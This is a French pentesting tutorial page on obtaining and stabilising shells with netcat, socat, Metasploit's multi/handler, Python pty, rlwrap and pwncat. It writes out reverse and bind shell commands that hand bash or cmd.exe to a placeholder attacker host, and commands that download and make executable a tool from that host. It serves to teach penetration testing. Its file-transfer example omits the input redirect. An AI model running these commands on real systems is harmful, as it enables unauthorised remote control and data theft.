KYOSH1RO

◀ Documentation

Cybersécurité — Shells & Post-exploitation

Pentesting · Shell · Netcat · Socat · +3 | 📅 Mis à jour : 30/03/2026 | ⏱ ~6 min de lecture
I — Qu'est-ce qu'un shell ?
Dans le contexte du pentesting, un shell désigne un accès en ligne de commande obtenu sur une machine cible après une exploitation réussie. C'est l'objectif final de nombreuses attaques : disposer d'un shell permet d'exécuter des commandes, lire des fichiers, pivoter sur le réseau ou escalader ses privilèges.
Il existe deux grands types de shells :
• Reverse shell — La cible se connecte à l'attaquant. L'attaquant écoute sur un port, la cible initie la connexion sortante vers lui.
• Bind shell — L'attaquant se connecte à la cible. La cible ouvre un port en écoute qui expose un shell, l'attaquant s'y connecte.
À retenir : Le reverse shell est de loin le plus utilisé. Les pare-feux bloquent généralement les connexions entrantes vers une cible, mais autorisent les connexions sortantes — ce que le reverse shell exploite précisément.
II — Reverse shell vs Bind shell
Reverse shell
L'attaquant ouvre un listener (port en écoute). La cible exécute une commande qui crée une connexion sortante vers l'attaquant et lui donne accès à un shell.
# Attaquant — mettre en écoute
nc -lvnp 4444
# Cible Linux — se connecter à l'attaquant et exposer bash
nc IP_ATTAQUANT 4444 -e /bin/bash
Bind shell
La cible ouvre un port en écoute qui expose directement un shell. L'attaquant s'y connecte ensuite.
# Cible Windows — ouvrir un shell sur le port 4444
nc -lnvp 4444 -e "cmd.exe"
# Attaquant — se connecter au shell exposé
nc IP_CIBLE 4444
Cas d'usage : Le bind shell est utile quand l'attaquant ne peut pas recevoir de connexions entrantes (NAT, réseau restreint). En revanche, il nécessite que la cible soit directement accessible depuis l'attaquant.
III — Netcat
Netcat (nc) est l'outil réseau le plus polyvalent du pentester. Surnommé le couteau suisse du réseau, il permet d'établir des connexions TCP/UDP, d'écouter sur des ports et de transférer des données — dont des shells.
Options principales
• -l — Mode écoute (listen).
• -v — Mode verbose.
• -n — Pas de résolution DNS (plus rapide).
• -p — Spécifier le port.
• -e — Exécuter un programme après connexion (pas disponible sur toutes les versions).
Listener basique
nc -lvnp 4444 # Écouter sur le port 4444
Transfert de fichiers
# Attaquant — recevoir le fichier
nc -lvnp 4444 > fichier_recu.txt
# Cible — envoyer le fichier
nc IP_ATTAQUANT 4444
Limitation importante
Le shell obtenu via netcat est souvent non interactif : pas d'historique de commandes, pas de tabulation, pas de raccourcis clavier (Ctrl+C tue la connexion au lieu de l'envoyer au processus distant). C'est pourquoi on cherche toujours à améliorer le shell après l'avoir obtenu.
IV — Socat
Socat est une version beaucoup plus puissante de netcat. Il permet de créer des connexions entre pratiquement n'importe quels types de flux (TCP, UDP, fichiers, processus…) et offre notamment la possibilité d'obtenir des shells complètement interactifs, ce que netcat ne sait pas faire nativement.
Reverse shell avec socat
# Attaquant — listener socat (shell interactif)
socat TCP-L:4444 -
# Cible Linux
socat TCP:IP_ATTAQUANT:4444 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
Shell TTY stable avec socat
En ajoutant les options pty,stderr,sigint,setsid,sane côté cible, socat crée un pseudo-terminal (PTY) — ce qui donne un shell pleinement interactif dès le départ, sans étape d'amélioration supplémentaire.
# Attaquant
socat TCP-L:4444 FILE:`tty`,raw,echo=0
# Cible
socat TCP:IP_ATTAQUANT:4444 EXEC:/bin/bash,pty,stderr,sigint,setsid,sane
Transférer socat sur la cible
Socat n'est pas toujours installé sur la cible. On peut le transférer depuis l'attaquant avec un simple serveur HTTP :
# Attaquant — servir socat
python3 -m http.server 8080
# Cible Windows — télécharger socat avec PowerShell
Invoke-WebRequest -Uri http://IP_ATTAQUANT:8080/socat.exe -OutFile socat.exe
# Cible Linux
wget http://IP_ATTAQUANT:8080/socat -O /tmp/socat && chmod +x /tmp/socat
V — Metasploit : auxiliary/multi/handler
Metasploit est le framework d'exploitation le plus utilisé en pentesting. Pour la gestion des shells, le module auxiliary/multi/handler est l'outil central : il joue le rôle de listener universel capable de réceptionner et centraliser les reverse shells, qu'ils soient issus de payloads Metasploit (Meterpreter) ou de shells classiques.
Mise en place du listener
# Lancer Metasploit
msfconsole
# Charger le handler
use auxiliary/multi/handler
# Configurer le payload (exemple : reverse shell Linux)
set PAYLOAD linux/x86/shell_reverse_tcp
set LHOST IP_ATTAQUANT
set LPORT 4444
# Lancer l'écoute
run
Payloads courants
• linux/x86/shell_reverse_tcp — Reverse shell Linux simple.
• windows/shell_reverse_tcp — Reverse shell Windows simple.
• linux/x86/meterpreter/reverse_tcp — Meterpreter Linux (shell avancé).
• windows/meterpreter/reverse_tcp — Meterpreter Windows (shell avancé).
Meterpreter vs shell classique : Meterpreter est un payload avancé qui s'exécute entièrement en mémoire, sans créer de fichier sur le disque. Il offre des fonctionnalités supplémentaires : upload/download de fichiers, pivoting, capture de screenshots, keylogger, migration de processus…
VI — Améliorer le shell
Un shell obtenu via netcat est rarement utilisable confortablement : pas de tabulation, pas d'historique, Ctrl+C coupe la connexion. Plusieurs techniques permettent d'obtenir un shell pleinement interactif.
Méthode Python (TTY spawn)
Si Python est disponible sur la cible, c'est la technique la plus rapide pour upgrader un shell basique en TTY :
# Sur la cible — spawner un PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Puis sur l'attaquant — mettre le terminal en raw mode
# Ctrl+Z pour mettre le shell en background
stty raw -echo; fg
# Sur la cible — restaurer les variables de terminal
export TERM=xterm
stty rows 38 columns 116 # Adapter à la taille de son terminal
rlwrap
rlwrap est un wrapper qui ajoute l'historique de commandes et l'édition de ligne à n'importe quel programme. C'est la solution la plus simple pour améliorer un listener netcat sans toucher à la cible.
# Remplacer nc par rlwrap nc
rlwrap nc -lvnp 4444
Avec rlwrap, on peut désormais naviguer dans l'historique avec les flèches, utiliser Ctrl+A/E pour se déplacer en début/fin de ligne, etc. Particulièrement utile pour les shells Windows où la méthode Python n'est pas disponible.
pwncat
pwncat est l'outil le plus avancé pour gérer les reverse shells. Il remplace avantageusement netcat en tant que listener et offre un environnement post-exploitation complet : transfert de fichiers automatique, persistance, gestion de plusieurs sessions, modules d'énumération intégrés.
# Installation
pip install pwncat-cs
# Listener de base
pwncat-cs -lp 4444
# Se connecter à un bind shell existant
pwncat-cs IP_CIBLE:4444
Une fois connecté, pwncat propose deux modes :
• Mode shell — Interaction directe avec le shell de la cible (comme netcat).
• Mode commande (Ctrl+D) — Interface pwncat avec accès aux modules : upload, download, enumerate, implant…
# Exemples de commandes en mode commande
(local) pwncat$ upload /chemin/local /chemin/distant # Envoyer un fichier
(local) pwncat$ download /chemin/distant /chemin/local # Récupérer un fichier
(local) pwncat$ run enumerate.system # Énumération système
Référence : La documentation complète et les dernières versions de pwncat sont disponibles sur le dépôt GitHub : github.com/calebstewart/pwncat
VII — Récapitulatif
Voici un résumé des outils et techniques couverts dans cette documentation :
• Reverse shell — La cible se connecte à l'attaquant. Contourne les pare-feux entrants. Méthode privilégiée.
• Bind shell — L'attaquant se connecte à la cible. Utile quand l'attaquant ne peut pas recevoir de connexions.
• nc (netcat) — Outil de base pour établir des shells. Simple mais limité (shell non interactif).
• socat — Alternative puissante à netcat, capable de fournir un shell TTY stable nativement.
• multi/handler — Module Metasploit pour centraliser et gérer les reverse shells.
• rlwrap — Ajoute l'historique et l'édition de ligne à un listener netcat.
• python3 pty — Technique rapide pour upgrader un shell basique en TTY interactif.
• pwncat — Listener avancé avec environnement post-exploitation intégré.